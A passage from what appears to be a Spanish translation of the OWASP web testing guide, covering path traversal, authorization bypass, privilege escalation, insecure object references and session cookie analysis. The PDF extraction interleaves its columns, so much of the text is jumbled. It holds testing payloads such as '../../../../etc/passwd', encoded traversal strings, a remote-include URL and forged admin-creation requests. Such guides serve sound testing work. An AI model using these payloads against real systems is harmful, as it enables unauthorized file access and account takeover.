http://example.com/getUserProfile.jsp?item=../../../../etc/passwd
• ¿Hay extensiones de archivo inusuales?
• ¿Hay nombres de variables interesantes?
Para el ejemplo de cookies:

http://example.com/getUserProfile.jsp?item=ikki.html
http://example.com/index.php?file=content
Cookie: USER=1826cc8f:PSTYLE=../../../../etc/passwd
http://example.com/main.cgi?home=index.htm
¿• Es posible identificar las cookies utilizadas por la aplicación web para

la generación dinámica de páginas o plantillas? También es posible incluir archivos y secuencias de comandos ubicadas
en sitios externos.

119
http://example.com/index.php?file=http://www.owasp.org/malicioustxt root directory: “<drive letter>:”
directory separator: “:
El siguiente ejemplo demostrará cómo es posible mostrar el código fuente Debemos tomar en cuenta los mecanismos de codificación de los
de un componente CGI, sin utilizar los caracteres de ruta de circulación. siguientes caracteres:
http://example.com/main.cgi?home=main.cgi
• URL encoding and double URL encoding
%2e%2e%2f represents ../
%2e%2e/ represents ../

El componente llamado "main.cgi" está situado en el mismo directorio
como el de los archivos estáticos HTML normales utilizados en la ..%2f represents ../
aplicación. En algunos casos, el evaluador debe codificar las peticiones
utilizando caracteres especiales (como el "." dot, "% 00" null,...) para %2e%2e%5c represents ..\
evitar controles de extensión de archivo o para evitar la ejecución del
script. %2e%2e\ represents ..\
..%5c represents ..\
Sugerencia: Es un error común de los programadores no esperar todas %252e%252e%255c represents ..\
las formas de codificación y, por lo tanto, solo hacer validación de
contenido codificado básico. Si al principio la secuencia de la prueba no es ..%255c represents ..\ and so on.
exitosa, pruebe con otro esquema de codificación.
Cada sistema operativo utiliza caracteres diferentes como separadores de

• Unicode/UTF-8 Encoding (solo funciona en sistemas que aceptan
ruta:
secuencias UTF-8 alargadas)
Unix-like OS:
..%c0%af represents ../
root directory: “/”
..%c1%9c represents ..\
directory separator: “/”
Hay otros sistemas operativos y aplicaciones con frameworks con

consideraciones específicas. Por ejemplo, Windows es flexible en su
análisis de rutas de archivo.
Windows OS’ Shell’:
root directory: “<drive letter>:\”

• Shell de Windows: anexa cualquiera de las siguientes rutas utilizadas en
directory separator: “\” or “/” los resultados de un comando de shell sin crear ninguna diferencia en la
función:
• Los signos de ángulo ">" y "<" al final de la ruta
Classic Mac OS: • Dobles comillas (debidamente cerradas) al final de la ruta
• Marcadores extraños del directorio actual como". /" o ". \"

120
• Marcadores extraños del directorio parental con elementos arbitrarios que • Puede ser equivalente a una letra de unidad como c:\, o incluso a un
pueden o no existir volumen de disco sin una letra asignada.
\\.\GLOBALROOT\Device\HarddiskVolume1\
Ejemplos:
– file.txt
– file.txt...
• Se refiere a la primera unidad de disco en la máquina.
– file.txt<spaces>
– file.txt”””” \\.\CdRom0\
– file.txt<<<>>><
– ./././file.txt
– nonexistant/../file.txt Pruebas de Caja Gris
Cuando el análisis se realiza con un enfoque de Caja Gris, los evaluadores

tienen que seguir la misma metodología que en las pruebas de Caja Negra.
• Windows API: los siguientes elementos son desechados cuando se utilizan Sin embargo, puesto que pueden revisar el código fuente, es posible
en cualquier comando shell o llamada a la API, donde se toma una cadena buscar los vectores de entrada (etapa (a) de la prueba) más fácilmente y
como un nombre de archivo: con precisión. Durante una revisión de código fuente, pueden utilizar
herramientas simples (como el comando grep) para buscar uno o más
periodos patrones comunes dentro del código de la aplicación: la inclusión de
funciones/métodos, operaciones de sistema de archivos y demás.
espacios
PHP: include(), include_once(), require(), require_once(), fopen(),

readfile(), ...
JSP/Servlet: java.io.File(), java.io.FileReader(), ...

• Windows UNC Filepaths: utilizado para referenciar archivos en recursos
compartidos SMB. A veces, se puede hacer una aplicación para referirse a ASP: include file, include virtual, ...
archivos en una ruta UNC remota. Si es así, el servidor SMB de Windows puede
enviar las credenciales almacenadas al atacante, que pueden ser capturadas y
penetradas. Estos también pueden ser utilizados con una dirección IP
autorreferenciada o con un nombre de dominio para evitar los filtros, o
utilizarlos para tener acceso a archivos en recursos compartidos SMB,
inaccesibles al atacante, pero accesibles desde el servidor web.
Utilizando motores de búsqueda de código en línea (por ejemplo, Ohloh
Code[1]), es también posible encontrar fallas en la ruta de circulación en
\\server_or_ip\path\to\file.abc el software de código abierto publicado en Internet.
\\?\server_or_ip\path\to\file.abc
Para PHP, los evaluadores pueden utilizar:
lang:php (include|require)(_once)?\s*[‘”(]?\s*\$_(GET|POST|COOKIE)
• Windows NT Device Namespace: Se utiliza para referirse al espacio de
nombres de dispositivo de Windows. Ciertas referencias permiten el acceso
a sistemas de archivos utilizando una ruta diferente.

121
code.google.com
Usando el método de pruebas de Caja Gris, es posible descubrir las • Web Proxy (Burp Suite[2], Paros[3], WebScarab[4],
vulnerabilidades que son generalmente más difíciles de hallar, o incluso
imposibles de encontrar durante una evaluación estándar de la Caja OWASP: Zed Attack Proxy (ZAP)[5])
Negra.
• Enconding/Decoding tools
• String searcher “grep” - gnu.org

Algunas aplicaciones web generan páginas dinámicas utilizando valores y
parámetros almacenados en una base de datos. Es posible insertar
cadenas de ruta de circulación especialmente diseñadas cuando la
aplicación añade datos a la base de datos. Este tipo de problema de Referencias
seguridad es difícil de descubrir debido a que los parámetros dentro de
Libros Blancos
las funciones de inclusión parecen internos y "seguros", pero no lo son en
realidad.
• phpBB Attachment Mod Directory Traversal HTTP POST Injection:
archives.neohapsis.com
• Windows File Pseudonyms: Pwnage and Poetry: slideshare.net

Además, revisando el código fuente es posible analizar las funciones que
se supone deben manejar las entradas inválidas: algunos desarrolladores
tratan de cambiar la entrada inválida para que sea válida, evitando avisos
y errores. Estas funciones son generalmente propensas a fallas de Cómo probar la autorización
seguridad.
La autorización es el concepto de permitir acceso a los recursos, pero sólo
a aquellos señalados para utilizarlos. Probar la autorización significa
comprender cómo funciona el proceso de autorización y usar esa
Considere una aplicación web con estas instrucciones:
información para eludir el mecanismo de autorización.
filename = Request. ueryString(“file”);
Replace(filename, “/”,”\”); La autorización es un proceso que viene después de una autenticación

correcta, por lo que el evaluador verificará este punto después de tener
Replace(filename, “..\”,””); credenciales válidas, asociadas a un conjunto bien definido de roles y
privilegios. En este tipo de evaluación, se debe verificar si es posible
eludir el esquema de autorización, encontrar una vulnerabilidad de ruta
de circulación, o encontrar maneras de aumentar los privilegios
asignados al evaluador.
Probar la falla se consigue mediante:
file=....//....//boot.ini
Pruebas para eludir el esquema de autorización (OTG-AUTHZ-002)
file=....\\....\\boot.ini
Resumen
file= ..\..\boot.ini
Este tipo de prueba se centra en comprobar cómo se implementó el
esquema de autorización para que cada rol o privilegio obtenga acceso a
funciones reservadas y recursos.
Herramientas
Para cada rol específico que el evaluador tiene durante la evaluación, para
• DotDotPwn - The Directory Traversal Fuzzer:
cada función y solicitud que la aplicación ejecuta durante la fase posterior
dotdotpwn.sectester.net a la autenticación, es necesario verificar:
• Path Traversal Fuzz Strings (from WFuzz Tool):

122
• ¿Es posible acceder a ese recurso, incluso si el usuario no está ¿Qué sucede si un usuario no administrativo intenta ejecutar esa
autenticado? petición? ¿Se creará el usuario? Si es así, ¿puede utilizar sus privilegios
del nuevo usuario?
• ¿Es posible tener acceso a ese recurso después de la desconexión?
• ¿Es posible acceder a las funciones y los recursos que deben ser accesibles
a un usuario que tiene un rol diferente o un privilegio? Pruebas para buscar el acceso a los recursos asignados a un rol
diferente
Por ejemplo, analice una aplicación que utiliza un directorio compartido

Intente acceder a la aplicación como un usuario administrativo y siga para almacenar archivos PDF temporales para diferentes usuarios.
todas las funciones administrativas. Suponga que documentABC.pdf debe ser accesible sólo por el usuario
test1 con roleA. Verifique si el usuario test2 con roleB puede acceder a
ese recurso.
• ¿Es posible acceder a funciones administrativas si el evaluador está

registrado como un usuario con privilegios estándar?
Herramientas
• ¿Es posible utilizar estas funciones administrativas como un usuario con
un rol diferente y para quien esa acción debería ser negada? • OWASP WebScarab: OWASP WebScarab Project
Cómo probar
Pruebas para buscar el acceso a funciones administrativas Pruebas para determinar el escalamiento de privilegios (OTG-AUTHZ-
003)
Por ejemplo, suponga que la función 'AddUser.jsp' es parte del menú
administrativo de la aplicación, y es posible acceder a él al solicitar la Resumen
siguiente URL:
Esta sección describe el problema del escalamiento de privilegios de una
etapa a otra. Durante esta fase, el evaluador deberá verificar que no es
https://www.example.com/admin/addUser.jsp posible para un usuario modificar sus privilegios o roles dentro de la
aplicación, de manera que podría permitir ataques de escalada de
privilegios.
El escalamiento de privilegios se produce cuando un usuario obtiene

Entonces, la siguiente petición HTTP se genera cuando se llama a la
acceso a más recursos o funcionalidad que la que normalmente se le
función AddUser:
permite, y dicha elevación o cambios debían haber sido evitados por la
aplicación. Esto es generalmente causado por un defecto en la aplicación.
POST /admin/addUser.jsp HTTP/1.1 El resultado es que la aplicación realiza las acciones con más privilegios
que los que el desarrollador o administrador del sistema querían
Host: www.example.com adjudicar.
[other HTTP headers]
El grado de escalamiento depende de los privilegios que el atacante está

autorizado a poseer y que se pueden obtener en una explotación exitosa.
userID=fakeuser&role=3&group=grp001 Por ejemplo, un error de programación que permite a un usuario
privilegios extras después de la autenticación correcta limita el grado de
escalamiento, porque el usuario ya está autorizado a tener algo de
privilegios. Asimismo, un atacante remoto que obtiene privilegios de
superusuario sin ninguna autenticación presenta un mayor grado de
escalamiento.

123
HTTP/1.1 200 OK
Generalmente, las personas se refieren al escalamiento vertical cuando es
posible tener acceso a recursos en cuentas más privilegiadas (por
ejemplo, adquirir privilegios administrativos para la aplicación) y en
Date: Wed, 1 Apr 2006 13:51:20 GMT
escalamiento horizontal cuando es posible acceder a los recursos de una
cuenta configurada de manera similar (por ejemplo, en una aplicación de
Set-Cookie: USER=aW78ryrGrTWs4MnOd32Fs51yDqp; path=/;
banca en línea, al acceder a la información relacionada con un usuario
domain=www.example.com
diferente).
Set-Cookie: SESSION=k+KmKeHXTgDi1J5fT7Zz; path=/; domain=
www.example.com
Cómo probar Cache-Control: no-cache
Pruebas de la manipulación del rol/privilegio Pragma: No-cache
En cada porción de la aplicación donde un usuario puede crear Content-length: 247

información en la base de datos (por ejemplo, hacer un pago, agregar un
contacto o enviar un mensaje), puede recibir información (estado de Content-Type: text/html
cuenta, detalles de la orden, etc.), o eliminar la información (salida de
usuarios, mensajes, etc.), es necesario grabar dicha funcionalidad. El Expires: Thu, 01 Jan 1970 00:00:00 GMT
evaluador debe intentar acceder a tales funciones como otro usuario con
el fin de verificar si es posible acceder a una función que no se debe Connection: close
permitir por rol/privilegio del usuario (pero que podría admitirse como
otro usuario). <form name=”autoriz” method=”POST” action = “visual.jsp”>
<input type=”hidden” name=”profile” value=”SysAdmin”>
Por ejemplo: <body onload=”document.forms.autoriz.submit()”>
El siguiente POST de HTTP permite que el usuario que pertenece a

grp001 acceda a la orden #0001:
POST /admin/addUser.jsp HTTP/1.1 ¿Qué pasa si el evaluador modifica el valor de la variable "profile" en
"SysAdmin"? ¿Es posible llegar a ser administrador?
[other HTTP headers]
userID=fakeuser&role=3&group=grp001
Por ejemplo:
En un entorno donde el servidor envía un mensaje de error contenido

como un valor en un parámetro específico en un conjunto de códigos de
Verifique si un usuario que no pertenece a la grp001 puede modificar el respuesta, como el siguiente:
valor de los parámetros 'groupID' y 'orderID' para acceder a esa
información privilegiada.
Por ejemplo:
La siguiente respuesta del servidor muestra un campo oculto en el HTML

devuelto al usuario después de una autenticación correcta.

124
el valor de un parámetro para apuntar directamente a un objeto. Tales

@0`1`3`3``0ÙC`1`StatusÒK`SEC`5`1`0`ResultSet`0`PVValid`-1`0`0`
recursos pueden ser entradas de bases de datos que pertenecen a otros
usuarios, archivos en el sistema y más. Esto es causado porque la
Notifications`0`0`3`Command Manager`0`0`0` StateToolsBar
aplicación toma la información ingresada por el usuario y la utiliza para
recuperar un objeto sin realizar las comprobaciones de autorización
`0`0`0`
suficientes.
StateExecToolBar`0`0`0`FlagsToolBar`0
Cómo probar
Para probar esta vulnerabilidad, el evaluador debe, primero, crear el

mapa de todas las ubicaciones en la aplicación donde se utiliza
El servidor le brinda una confianza implícita al usuario. Cree que el usuario información ingresada por el usuario para hacer referencia a objetos
responderá con el mensaje anterior al cerrar la sesión
directamente. Por ejemplo, lugares donde se utiliza información
ingresada por el usuario para acceder a una fila de la base de datos, un
archivo, páginas de aplicación y más. A continuación, el evaluador debe
modificar el valor del parámetro utilizado para referenciar los objetos y
En esta condición, compruebe que no sea posible escalar privilegios mediante
evaluar si es posible recuperar objetos pertenecientes a otros usuarios o,
la modificación de los valores de parámetros. En este ejemplo particular,
de lo contrario, omitir la autorización.
modificando el valor de 'PVValid' de '-1' a '0' (no hay condiciones de error), es
posible autenticarse como administrador al servidor.
La mejor manera de probar las referencias de objeto directo sería tener al

Referencias menos dos usuarios (a menudo más) para cubrir las funciones y objetos
propios de cada uno. Por ejemplo, dos usuarios tienen acceso a diferentes
Libros Blancos objetos (información de compra, mensajes privados, etc.) y (si procede)
usuarios con distintos privilegios (usuarios de administrador) para ver si
• Wikipedia - Privilege Escalation: hay referencias a la funcionalidad de la aplicación. Por tener múltiples
http://en.wikipedia.org/wiki/Privilege_escalation usuarios, el evaluador ahorra tiempo de prueba en adivinar los nombres
de diferentes objetos ya que él puede intentar tener acceso a objetos que
pertenecen a otro usuario.
Tools
• OWASP WebScarab: OWASP WebScarab Project A continuación se muestran varios escenarios típicos para esta
vulnerabilidad y los métodos de prueba para cada uno:
El valor de un parámetro se utiliza directamente para recuperar un

Pruebas de las referencias de objetos directos inseguros (OTG-AUTHZ- registro de la base de datos
004)
Solicitud de muestra:
Resumen
Las Referencias de Objetos Directos Inseguros ocurren cuando una http://foo.bar/somepage?invoice=12345

aplicación ofrece acceso directo a objetos basados en la información
suministrada por el usuario. Como resultado de esta vulnerabilidad, los
atacantes pueden omitir la autorización y acceder a recursos en el
sistema directamente, por ejemplo, registros de la base de datos o
archivos.
Las Referencias de Objetos Directos Inseguros permiten a los atacantes En este caso, el valor del parámetro de la factura se utiliza como un índice
omitir la autorización y acceder a los recursos modificando directamente en una tabla de facturas en la base de datos. La aplicación toma el valor de

125
este parámetro y lo utiliza en una consulta a la base de datos. La

aplicación, entonces, devuelve la información de la factura al usuario. http://foo.bar/showImage?img=img00011
Puesto que el valor de la factura va directamente a la consulta,

modificando el valor del parámetro es posible recuperar cualquier objeto
de facturas sin importar el usuario al que pertenece la factura. En este caso, el valor del parámetro de archivo se utiliza para indicar a la
aplicación qué archivo intenta recuperar el usuario. Proporcionando el
nombre o identificador de un archivo diferente (por ejemplo
file=image00012.jpg), el atacante podrá recuperar objetos pertenecientes
Para probar este caso, el evaluador debe obtener el identificador de la
a otros usuarios.
factura que pertenece a un usuario de prueba diferente (asegurando que
no se supone que ve esta información por la lógica del negocio de la
aplicación) y luego verificar si es posible acceder a los objetos sin
autorización. Para este caso, el evaluador debe obtener una referencia a la que el
usuario no debería poder acceder y tratar de entrar usando el valor de
parámetro del archivo. Nota: Esta vulnerabilidad se explota, a menudo, en
conjunción con una vulnerabilidad de directorio/ruta de circulación (ver
El valor de un parámetro se utiliza directamente para realizar una
pruebas para Ruta De circulación)
operación en el sistema
El valor de un parámetro se utiliza directamente para acceder a la
funcionalidad de la aplicación
http://foo.bar/changepassword?user=someuser
solicitud de muestra
http://foo.bar/accessPage?menuitem=12
En este caso, se utiliza el valor del parámetro de usuario para decirle a la

aplicación qué usuario debe cambiar la contraseña. En muchos casos, este
paso será una parte de un asistente o una operación multi-pasos. En el
primer paso, la aplicación enviará una petición que indica que el usuario
debe cambiar la contraseña y, en el siguiente paso, el usuario En este caso, el valor del parámetro menuitem se utiliza para indicar a la
proporcionará una nueva contraseña (sin pedir la contraseña actual). aplicación qué objeto del menú (y, por lo tanto, qué funcionalidad de la
aplicación) está intentando acceder el usuario. Asuma que el usuario está
supuestamente restringido y, por lo tanto, tiene enlaces disponibles sólo
para acceder al menú 1, 2 y 3. Modificando el valor del parámetro
El parámetro de usuario se utiliza para hacer referencia directamente al
menuitem, es posible eludir la autorización y acceder a la funcionalidad
objeto del usuario para quien se realizará la operación de cambio de
de la aplicación adicional. Para este caso, el evaluador identifica un lugar
contraseña. Para probar este caso, el evaluador debe intentar
donde se determina la funcionalidad de la aplicación por referencia a un
proporcionar un nombre de usuario de prueba diferente al que está
elemento de menú, crea un mapa de los valores de los elementos del
registrado y comprobar si es posible modificar la contraseña de otro
menú a los que el usuario de prueba tiene acceso y luego intenta acceder
usuario.
a otros elementos de menú.
El valor de un parámetro se utiliza directamente para recuperar un

En los ejemplos anteriores, la modificación de un solo parámetro es
archivo de recursos del sistema:
suficiente. Sin embargo, a veces la referencia de objeto se puede dividir
entre más de un parámetro, y la prueba debe ajustarse en consecuencia.
Referencias

126
OWASP Top 10 2013-A4-Insecure Direct Object References atacante que es capaz de predecir y falsificar una cookie débil, fácilmente
puede secuestrar las sesiones de usuarios legítimos.
Pruebas de la gestión de sesión

Las cookies se utilizan para implementar la gestión de la sesión y se
Uno de los componentes básicos de cualquier aplicación basada en la web describen en detalle en el RFC 2965. En resumen, cuando un usuario
es el mecanismo que controla y mantiene el estado de un usuario para accede a una aplicación que necesita hacer seguimiento de las acciones y
interactuar con él. Esto se refiere a aquello como gestión de sesiones y se la identidad de ese usuario a través de múltiples peticiones, una cookie (o
define como el conjunto de todos los controles que rigen el estado cookies) son generadas por el servidor y enviadas al cliente. El cliente
completo de interacción entre un usuario y la aplicación basada en la enviará la cookie al servidor en todas las conexiones siguientes hasta que
web. Esto cubre ampliamente cualquier cosa, desde cómo se realiza la esta expire o se destruya. Los datos almacenados en la cookie pueden
autenticación del usuario, a lo que sucede al salir del sistema. proporcionar al servidor un gran abanico de información sobre quién es
el usuario, qué acciones ha realizado hasta ahora, cuáles son sus
preferencias, etc.; por lo tanto, le da un estado a un protocolo sin estado
como es HTTP.
HTTP es un protocolo sin estado, lo que significa que los servidores web
responden a solicitudes de clientes sin vincularlos entre sí. Incluso la
lógica de la aplicación más simple requiere que múltiples solicitudes de
un usuario se asocien entre sí dentro de una "sesión". Esto requiere Un ejemplo típico es proporcionado por un carrito de compras en línea.
soluciones de terceros – a través de cualquier middleware estándar y Durante toda la sesión de un usuario, la aplicación debe hacer un
soluciones de servidor web sacadas de la percha (Off The Shelf)(OTS), o seguimiento de su identidad, su perfil, los productos que ha elegido para
con una implementación de un desarrollador hecha a la medida. Los más comprar, la cantidad, los precios individuales, descuentos, etc.. Las
populares entornos de aplicaciones web, como ASP y PHP, proporcionan cookies son una manera eficiente de almacenar y transmitir esta
a los desarrolladores rutinas de sesión incorporada. Algún tipo de ficha información una y otra vez (otros métodos son parámetros de URL y
de identificación normalmente se emitirá, y se denominará "Identificador campos ocultos).
de sesión" o Cookie.
Debido a la importancia de los datos que almacenan, las cookies son

Hay numerosas maneras en que una aplicación web puede interactuar vitales para la seguridad general de la aplicación. Poder manipular las
con un usuario. Cada una depende de la naturaleza de los requerimientos cookies puede resultar en un secuestro de las sesiones de usuarios
del sitio, la seguridad y la disponibilidad de la aplicación. Mientras hayan legítimos, obtener mayores privilegios en una sesión activa y, en general,
aceptado las mejores prácticas para desarrollo de aplicaciones, tales influir en las operaciones de la aplicación de una manera no autorizada.
como las descritas en la guía de OWASP Construyendo Aplicaciónes Web
Seguras, es importante que se considere la seguridad de las aplicaciones
en el contexto de las necesidades y expectativas del proveedor.
En esta prueba, el evaluador podrá comprobar si las cookies emitidas a los
clientes pueden resistirse a una amplia gama de ataques dirigidos a
interferir con las sesiones de usuarios legítimos y con la propia
Pruebas del esquema de gestión de sesión (OTG-SESS-001) aplicación. El objetivo general es ser capaces de falsificar una cookie que
sea considerada válida por la aplicación y que proporcione algún tipo de
Resumen acceso no autorizado (secuestro de sesión, escalada de privilegios,...).
Para evitar la autenticación continua para cada página de un sitio web o

servicio, las aplicaciones web implementan diversos mecanismos para
almacenar y validar las credenciales durante un intervalo de tiempo Generalmente, los pasos principales del patrón de ataque son los
determinado. Estos mecanismos se conocen como manejo de sesiones y siguientes:
aunque son importantes para aumentar la facilidad del uso de la
aplicación y amigables con el usuario, pueden ser aprovechados por un
evaluador de penetración para obtener acceso a una cuenta de usuario,
sin necesidad de proporcionar las credenciales correctas. • Recolección de cookies: recolectar un número suficiente de muestras de cookies.
• Ingeniería inversa de cookies: análisis del algoritmo de generación de cookies.
En esta prueba, el evaluador debe comprobar que las cookies y otras

fichas de sesión se crean de una manera segura e impredecible. Un

127
• Manipulación de cookies: falsificar una cookie válida para llevar a cabo el ataque. Navegue por la aplicación. Note cuándo se crean las cookies. Haga una
Este último paso podría requerir un gran número de intentos, dependiendo de cómo lista de las cookies recibidas, la página que las establece (con la directiva
la cookie haya sido creada (ataque de fuerza bruta de cookie). set-cookie), el dominio para el cual son válidas, su valor y sus
características.
Otro patrón de ataque consiste en desbordar una cookie. Estrictamente

hablando, este ataque tiene una naturaleza diferente, ya que aquí los ¿• ué partes de la aplicación generan o modifican la cookie?
evaluadores no intentan recrear una cookie perfectamente válida. En
cambio, el objetivo es desbordar un área de memoria, interfiriendo así
con el comportamiento correcto de la aplicación y posiblemente
inyectando (y ejecutando remotamente) un código malicioso. Navegando por la aplicación, encuentre qué cookies se mantienen
constantes y cuáles se han modificado.
Cómo probar
¿Qué eventos modificaron la cookie?
Prueba de Caja Negra y ejemplos
Toda interacción entre el cliente y la aplicación debe ser probada, al

menos contra los siguientes criterios: • ¿ ué partes de la aplicación requiere esta cookie para ser accesible y
utilizarla?
• ¿Están todas las directivas Set-Cookie etiquetadas como seguras?

Averigue qué partes de la aplicación necesitan una cookie. Acceda a una
• ¿Cualquier operación de cookie se lleva a cabo en un transporte no encriptado? página, inténtelo de nuevo sin la cookie, o con un valor modificado de ella.
Trate de crear un mapa para las cookies que se utilizan.
• ¿Puede la cookie ser forzada en un transporte no encriptado?
• Si es así, ¿cómo mantiene la aplicación la seguridad?

Una hoja de cálculo que marca cada cookie a las partes correspondientes
• ¿Hay cookies persistentes? de la aplicación y la información relacionada puede ser una informacion
valiosa obtenida de esta fase.
• ¿ ué tiempos para la caducidad se utilizan en las cookies persistentes y son estos
razonables?.
• ¿Son las cookies que se esperan sean transitorias configuradas como tal? Análisis de la sesión
• ¿ ué ajustes HTTP/1.1 Cache-Control se utilizan para proteger las cookies? Las fichas (tokens) de sesión (cookies, ID de la sesión o campo oculto)
deben ser examinadas para asegurar su calidad desde una perspectiva de
• ¿ ué ajustes HTTP/1.0 Cache-Control se utilizan para proteger las cookies? seguridad. Deben ser evaluadas según criterios como su aleatoriedad,
singularidad, resistencia al análisis estadístico y criptográfico y fuga de
información.
Colección de cookies
El primer paso requerido para manipular una cookie es entender cómo la Estructura de los indicadores y fuga de información
aplicación crea y gestiona las cookies. Para esta tarea, los evaluadores
tienen que intentar contestar las siguientes preguntas: La primera etapa es examinar la estructura y el contenido de un
Identificador de Sesión proporcionada por la aplicación. Un error común
es incluir datos específicos en el indicador, en lugar de emitir un valor
genérico y hacer referencia a datos reales en el lado del servidor.
• ¿Cuántas cookies son utilizadas por la aplicación?
Si la identidad de sesión es texto visible, la estructura y los datos

pertinentes pueden ser inmediatamente evidentes, como a continuación:

128
Si se identifican elementos estáticos en las fichas, más muestras deben

http://foo.bar/showImage?img=img00011 recogerse, variando un elemento de entrada potencial a la vez. Por
ejemplo, intentos de registro a través de una cuenta de usuario diferente
o desde una dirección IP diferente pueden producir una variación en la
parte anteriormente estática de la ficha de la sesión.
Si parte de o toda la ficha parece estar en código o hash, se debe comparar

con distintas técnicas para verificar la ofuscación obvia. Por ejemplo, la Las siguientes áreas deberían ser analizadas durante la prueba de
cadena "192.168.100.1:owaspuser:password:15:58" está representada en estructura de una o varias Identificadores de sesión:
Hexadecimal, Base64 y con un hash MD5:
Hex 3139322E3136382E3130302E313A6F77617370757 • ¿ ué partes del identificador de sesión son estáticas?
365723A70617373776F72643A31353A3538 • ¿ ué información confidencial en texto claro se almacena en el

identificador de sesión? Por ejemplo, nombres de usuario/UID, direcciones IP.
Base64 MTkyLjE2OC4xMDAuMTpvd2FzcHVzZXI6c
• ¿ ue información confidencial fácilmente decodificable se almacena?
GFzc3dvcmQ6MTU6NTg=
• ¿ ué información puede deducirse de la estructura del identificador de
MD5 01c2fc4f0a817afd8366689bd29dd40a sesión?
• ¿ ué partes del identificador de sesión son estáticas para las mismas

condiciones de registro?
Una vez identificado el tipo de ofuscación, es posible descifrar los datos • ¿ ué patrones obvios están presentes en el identificador de sesión como un
originales. En la mayoría de los casos, sin embargo, esto es improbable. todo o en porciones individuales?
De todas formas, puede ser útil enumerar la codificación en el sitio desde
el formato del mensaje. Además, si se deduce la técnica del formato y de
la ofuscación, podrían realizarse ataques de fuerza bruta automatizados.
Previsibilidad y aleatoriedad del identificador de sesión
El análisis de las zonas variables (si las hay) del identificador de sesión
Las fichas hibridas pueden incluir información como dirección IP o ID de deberían realizarse para establecer la existencia de cualquier patrón
usuario junto con una porción codificada, como los siguientes: reconocible o predecible. Estos análisis pueden ser realizados
manualmente y con herramientas diseñadas a la medida u OTS
estadísticas o de criptoanálisis para deducir cualquier patrón en el
owaspuser:192.168.100.1: contenido del identificador de sesión. Los controles manuales deberían
incluir comparaciones del identificador de sesión emitidas con las
a7656fafe94dae72b1e1487670148412 mismas condiciones del inicio de sesión; por ejemplo, el mismo nombre
de usuario, contraseña y dirección IP.
El tiempo es un factor importante que también debe ser controlado. Un

Tras haber analizado una ficha de sesión individual, debe examinarse la alto número de conexiones simultáneas deben realizarse con el fin de
muestra representativa. Un análisis simple de las fichas debe revelar recoger las muestras en la misma ventana de tiempo y mantener esa
inmediatamente cualquier patrón obvio. Por ejemplo, un token de 32 bits variable constante. Incluso una cuantización de 50ms o menor puede ser
puede incluir un token de 16 bits de datos estáticos y uno de 16 bits de demasiado amplia, y una muestra tomada de esta manera puede revelar
datos variables. Esto puede indicar que los primeros 16 bits representan componentes basados en el tiempo que de otra manera se pasarían por
un atributo fijo del usuario – por ejemplo, el nombre de usuario o alto.
dirección IP. Si el segundo campo de 16 bits se incrementa a un ritmo
regular, esto puede indicar un elemento secuencial o incluso basado en el
tiempo a la generación de la ficha. Vea ejemplos.
Los elementos variables deben ser analizados en el tiempo para
determinar si son incrementales por naturaleza. Donde son
incrementales, los patrones en relación al tiempo transcurrido, sea
129
absoluto o relativo, deben ser investigados. Muchos sistemas utilizan al sesión). Para hacer una cookie impredecible, pueden utilizarse valores
tiempo como una semilla para sus elementos seudoaleatorios. aleatorios o criptografía.
Donde los patrones son aparentemente al azar, hashes unidireccionales

de tiempo u otras variaciones ambientales deben considerarse como una
posibilidad. Típicamente, el resultado de un hash criptográfico es un [2] Resistencia a la manipulación: una cookie debe resistir los intentos
número decimal o hexadecimal, así que, debe ser identificable. maliciosos de modificación. Si el evaluador recibe una cookie como
IsAdmin = No, es trivial modificarla para obtener derechos
administrativos, a menos que la aplicación realice una doble revisión (por
ejemplo, agregando a la cookie un hash cifrado de su valor).
En el análisis de secuencias del identificador de sesión, patrones o ciclos,
elementos estáticos y las dependencias del cliente, todo debe
considerarse como posibles elementos que aporten a la estructura y
función de la aplicación. [3] Vencimiento: una cookie crítica debe ser válida sólo para un período
de tiempo adecuado y debe ser eliminada del disco o memoria para evitar
el riesgo de ser reproducida. Esto no aplica a las cookies que almacenan
los datos no críticos que necesitan ser recordados a través de sesiones
• ¿Son los identificadores de sesión probadamente al azar en su (por ejemplo, el sitio look-and-feel).
naturaleza? ¿Se pueden reproducir los valores resultantes?
• ¿Las mismas condiciones de entrada producen el mismo ID en una

ejecución posterior? [4] Marcador "seguro": una cookie cuyo valor es crítico para la integridad
de la sesión debe tener esta opción habilitada para permitir su
• ¿Son los identificadores de sesión probadamente resistentes a las transmisión en un canal cifrado y así impedir su obtención por
estadísticas o el criptoanálisis? casualidad.
• ¿Qué elementos de los identificadores de sesión están vinculados al

tiempo?
El enfoque aquí es recoger un número suficiente de instancias de una
• ¿Qué porciones de los identificadores de sesión son predecibles? cookie y empezar a buscar patrones en su valor. El significado exacto de
"suficiente" puede variar de un puñado de muestras si el método de
• ¿Puede deducirse el siguiente ID, dado el conocimiento pleno del generación de galletas es muy fácil de romper, a varios miles si el
algoritmo de generación y ID anteriores? evaluador debe realizar algunos análisis matemáticos (por ejemplo,
atractores chi-square. Vea más adelante para mayor información).
Ingeniería inversa de Cookies

Es importante prestar especial atención al flujo de trabajo de la
Ahora que el evaluador ha enumerado las cookies y tiene una idea general aplicación, cómo el estado de una sesión puede tener un impacto pesado
de su uso, es el momento de echar un vistazo más profundo a las cookies en cookies recogidas. Una cookie recogida antes de ser autenticada puede
que parecen interesantes. ¿Qué cookies interesan al evaluador? Una ser muy diferente de una cookie obtenida después de la autenticación.
cookie, con el fin de proporcionar un método seguro de administración de
sesiones, debe combinar varias características, que tienen como objetivo
proteger la cookie de una clase diferente de ataques.
Otro aspecto a tener en cuenta es el tiempo. Siempre anote el tiempo
exacto cuando se ha obtenido una cookie, cuando existe la posibilidad de
que el tiempo juegue un papel en el valor de la misma (el servidor podría
Estas características se resumen a continuación: utilizar un sello de tiempo como parte del valor de la cookie).
[1] Imprevisibilidad: una cookie debe contener cierta cantidad de datos El tiempo registrado podría ser la hora local o la marca de tiempo del
dificiles de adivinar. Mientras más difícil sea falsificar una cookie válida, servidor incluido en la respuesta HTTP (o ambos).
más difícil será entrar en la sesión de un usuario legítimo. Si un atacante
puede adivinar la cookie utilizada en una sesión activa de un usuario
legítimo, podrán suplantar totalmente a ese usuario (secuestro de

130
Al analizar los valores recogidos, el evaluador debe intentar averiguar

todas las variables que podrían influir en el valor de la cookie e intentar 0123456789abcdef
cambiarlos uno a la vez. Ver las nuevas versiones de la misma cookie
modificadas por el servidor puede ser muy útil para entender cómo la
aplicación lee y procesa la cookie.
Ejemplos de controles que pueden realizarse en esta etapa incluyen:

Ataques de fuerza bruta
Los ataques de fuerza bruta inevitablemente nacen de las preguntas

